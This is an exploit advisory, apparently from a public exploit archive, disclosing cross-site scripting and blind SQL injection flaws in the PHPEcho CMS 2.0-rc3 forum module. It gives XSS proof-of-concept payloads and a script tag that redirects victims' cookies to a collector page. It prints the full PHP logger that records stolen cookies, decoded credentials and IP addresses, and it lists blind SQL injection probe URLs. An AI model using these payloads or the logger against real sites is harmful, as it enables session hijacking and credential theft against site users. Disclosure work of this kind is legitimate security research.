PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing - Blind Vulnerability

2009-06-24 20:34:24


bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=186100

~ [XSS]

The forum allowed insert javascript code and html code.

PoC:
"><h1>0wned</h1>
"><script>alert("JosS b0x");</script>

-----------

Cookie Stealing:
<script>window.location=’http://127.0.0.1/stealing.php?cookie=’+document.cookie</script>

stealing.php
<?php
$archivo = fopen('log.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USER and PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br>

IP: ' .$ip. '<br> Date and Time: ' .$fecha. '</hr>');
fclose($archivo);
?>

~ [BLIND]

PoC:
/index.php?module=forum&show=thread&id=1 and 1=2 [False]
/index.php?module=forum&show=thread&id=1 and 1=1 [True]

/index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=5
/index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=4



__h0__

#

Fixes

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